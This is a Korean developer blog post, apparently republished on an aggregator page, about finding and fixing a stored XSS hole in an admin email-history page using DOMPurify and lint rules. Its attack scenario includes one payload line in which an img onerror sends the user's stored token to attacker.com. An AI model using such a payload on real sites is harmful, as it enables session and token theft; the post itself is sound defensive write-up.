Loading the catalog…
Loading the catalog…
"관리자 전용 페이지니까 안전하겠지?" 이 안일한 방심이 관리자의 세션과 토큰을 한순간에 털리게 만드는 저장형 XSS(Stored XSS) 의 문을 열어줄 뻔했습니다. 프론트엔드 코드 보안 감사를 진행하던 중 관리자 이메일 발송 내역 페이지에서 발견된 치명적인 XSS 취약점과, DOMPurify를 통한 살균 검증 과정을 정리합니다. 🚨 1. 발견: 관리자 화면에 도사리고 있던 위험한 구멍 정기적인 프론트엔드 코드 보안 리뷰를 진행하며 전체 프로젝트에서 dangerouslySetInnerHTML 의 사용처를 전수 검색(grep)하고 있었습니다. 대부분의 공개 페이지는 이미 DOMPurify 로 안전하게 감싸진 공용 컴포넌트( RichTextViewer )를 통해 렌더링되고 있었으나, 단 한 곳에서 날것의 코드가 튀어나왔습니다: // ❌ pages/Admin/Email/index.tsx <div className="email-content-preview" dangerouslySetInnerHTML={{ __html: log.messageContent }} /> 공격 시나리오 (Stored XSS) 시스템을 이용하는 누군가가 WYSIWYG 에디터를 통해 악성 스크립트가 담긴 메일 본문을 전송하거나 DB에 저장합니다. 예: <img src=x onerror="fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'))"> 나중에 최고 관리자 가 발송 내역을 모니터링하기 위해 해당 메일 이력을 클릭하여 펼쳐봅니다. 살균(Sanitize)되지 않은 HTML이 그대로 렌더링되면서 관리자 브라우저에서 공격자의 자바스크립트가 실행 됩니다! 결과 : 관리자의 Access Token, 권한, 내부 기밀 데이터가 공격자의 서버로 고스란히 유출됩니다. 관리자 화면은 접근 권한이 높은 만큼, XSS가 터졌을 때의 파급력은 일반 사용자 화면보다 수십 배 치명적입니다. 🔍 2. 원인 분석: 규칙은 있었지만, 강제할 장치가 없었다 더 뼈아팠던 점은, 우리 팀에 이미 이 문제를 완벽하게 방어하는 공용 컴포넌트가 존재했다는 사실 이었습니다: // components/RichTextViewer.tsx - 다른 6개 페이지에서는 모범적으로 사용 중 import DOMPurify from 'dompurify'; export const RichTextViewer = ({ content }: { content: string }) => { const cleanHtml = DOMPurify.sanitize(content); return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />; }; 다른 개발자들은 공지사항, 강의 상세, 약관 페이지 등에서 전부 RichTextViewer 를 통해 안전하게 렌더링하고 있었습니다. 하지만 관리자 화면을 개발하던 팀원이 *"어차피 관리자만 보는 화면이니까"* 혹은 컴포넌트의 존재를 미처 인지하지 못하고 원시 React 문법인 dangerouslySetInnerHTML 을 직접 작성 해 버린 것이었습니다. 🛠️ 3. 해결책: 즉각적인 교체와 실제 악성 페이로드 검증 1 안전한 컴포넌트로 교체 // AS-IS <div dangerouslySetInnerHTML={{ __html: log.messageContent }} /> // TO-BE (DOMPurify가 내장된 공용 뷰어로 교체) <RichTextViewer content={log.messageContent} /> 2 악성 XSS 페이로드를 통한 살균 검증 이론상 안전하다는 것에 만족하지 않고, 로컬 테스트 DB의 발송 이력 데이터에 악성 페이로드를 직접 삽입하여 브라우저에서 검증을 진행했습니다: <!-- 테스트용 악성 공격 페이로드 --> <p>정상적인 이메일 본문 내용입니다.</p> <img src="invalid_image.png" onerror="window.__xssFired=true;"> <script>window.__xssFired=true;</script> 검증 결과: 관리자로 로그인하여 이메일 발송 이력을 클릭해 펼침. 개발자 도구 콘솔에서 window.__xssFired 확인 ➡️ undefined (스크립트 실행 실패!) 브라우저가 실제 렌더링한 최종 DOM 확인: <script> 태그 ➡️ 흔적도 없이 완전 제거됨 <img src="..." onerror="..."> ➡️ 위험한 onerror 속성만 깔끔하게 제거되고 <img> 태그만 안전하게 렌더링됨 💡 이번 트러블슈팅을 통해 얻은 교훈 규칙을 '사람의 기억'에 의존하지 말 것 : 팀 내에 좋은 컴포넌트가 있어도, 새로 들어온 개발자나 바쁜 일정 속에서는 누구나 원시 API를 쓸 수 있습니다. ESLint에 react/no-danger 룰을 켜서 dangerouslySetInnerHTML 을 직접 쓰는 코드에 빨간 줄을 띄우거나, CI 단계에서 빌드를 실패하게 만들어야 안전합니다. 관리자 페이지가 가장 매력적인 타깃이다 : "내부 관리자만 쓰니까 괜찮다"는 생각은 보안에서 가장 위험한 구멍입니다. 공격자는 관리자의 높은 권한을 노려 내부 시스템에 침투합니다. 주기적인 보안 grep 키워드 감사 ( dangerouslySetInnerHTML , eval() , innerHTML 등)는 10분 만에 거대한 보안 사고를 예방할 수 있는 가장 가성비 높은 습관입니다.
What RADAR observed and classified to build this opportunity. It is what the source published, not a verification that the offer is still active.
[웹 보안] 관리자 이메일 발송 이력에서 발견한 Stored XSS 취약점 조치기 (feat. dangerouslySetInnerHTML의 유혹). "관리자 전용 페이지니까 안전하겠지?" 이 안일한 방심이 관리자의 세션과 토큰을 한순간에 털리게 만드는 저장형 XSS(Stored XSS) 의 문을 열어줄 뻔했습니다. 프론트엔드 코드 보안 감사를 진행하던 중 관리자 이메일 발송 내역 페이지에서 발견된 치명적인 XSS 취약점과, DOMPurify를 통한 살균 검증 과정을 정리합니다. 🚨 1. 발견: 관리자 화면에 도사리고 있던 위험한 구멍 정기적인 프론트엔드 코드 보안 리뷰를 진행하며 전체 프로젝트에서 dangerouslySetInnerHTML 의 사용처를 전수 검색(grep)하고 있었습니다. 대부분의 공개…
Open source